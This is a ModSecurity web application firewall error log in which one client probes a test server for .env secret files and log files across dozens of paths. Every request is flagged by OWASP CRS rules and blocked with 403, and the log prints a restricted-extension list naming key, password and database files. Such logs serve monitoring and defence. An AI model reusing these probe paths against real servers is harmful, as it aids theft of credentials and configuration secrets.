[Mon Jul 28 20:46:13.309671 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MppAAAAAY&quot;]
[Mon Jul 28 20:46:13.331299 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/access.log&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MppQAAAAY&quot;]
[Mon Jul 28 20:46:13.331594 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/access.log&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MppQAAAAY&quot;]
[Mon Jul 28 20:46:13.331768 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/access.log&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MppQAAAAY&quot;]
[Mon Jul 28 20:46:13.353506 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MppgAAAAY&quot;]
[Mon Jul 28 20:46:13.353796 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MppgAAAAY&quot;]
[Mon Jul 28 20:46:13.353959 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MppgAAAAY&quot;]
[Mon Jul 28 20:46:13.375750 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MppwAAAAY&quot;]
[Mon Jul 28 20:46:13.376081 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MppwAAAAY&quot;]
[Mon Jul 28 20:46:13.376269 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MppwAAAAY&quot;]
[Mon Jul 28 20:46:13.398183 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /magento/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magento/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpqAAAAAY&quot;]
[Mon Jul 28 20:46:13.398407 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magento/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpqAAAAAY&quot;]
[Mon Jul 28 20:46:13.398582 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magento/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpqAAAAAY&quot;]
[Mon Jul 28 20:46:13.420584 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mailinabox/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailinabox/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpqQAAAAY&quot;]
[Mon Jul 28 20:46:13.420783 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailinabox/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpqQAAAAY&quot;]
[Mon Jul 28 20:46:13.420948 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailinabox/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpqQAAAAY&quot;]
[Mon Jul 28 20:46:13.442857 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mailman/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailman/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpqgAAAAY&quot;]
[Mon Jul 28 20:46:13.443055 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailman/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpqgAAAAY&quot;]
[Mon Jul 28 20:46:13.443232 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailman/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpqgAAAAY&quot;]
[Mon Jul 28 20:46:14.081581 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /main_user/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main_user/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueKQAAAAk&quot;]
[Mon Jul 28 20:46:14.081805 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main_user/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueKQAAAAk&quot;]
[Mon Jul 28 20:46:14.081948 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main_user/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueKQAAAAk&quot;]
[Mon Jul 28 20:46:14.150213 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /manual/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/manual/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueLAAAAAk&quot;]
[Mon Jul 28 20:46:14.150464 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/manual/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueLAAAAAk&quot;]
[Mon Jul 28 20:46:14.150606 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/manual/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueLAAAAAk&quot;]
[Mon Jul 28 20:46:14.189307 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /master/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/master/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueLQAAAAk&quot;]
[Mon Jul 28 20:46:14.189520 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/master/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueLQAAAAk&quot;]
[Mon Jul 28 20:46:14.189697 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/master/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueLQAAAAk&quot;]
[Mon Jul 28 20:46:14.211958 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /media/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueLgAAAAk&quot;]
[Mon Jul 28 20:46:14.212160 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueLgAAAAk&quot;]
[Mon Jul 28 20:46:14.212315 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueLgAAAAk&quot;]
[Mon Jul 28 20:46:14.234485 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /memcached/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname 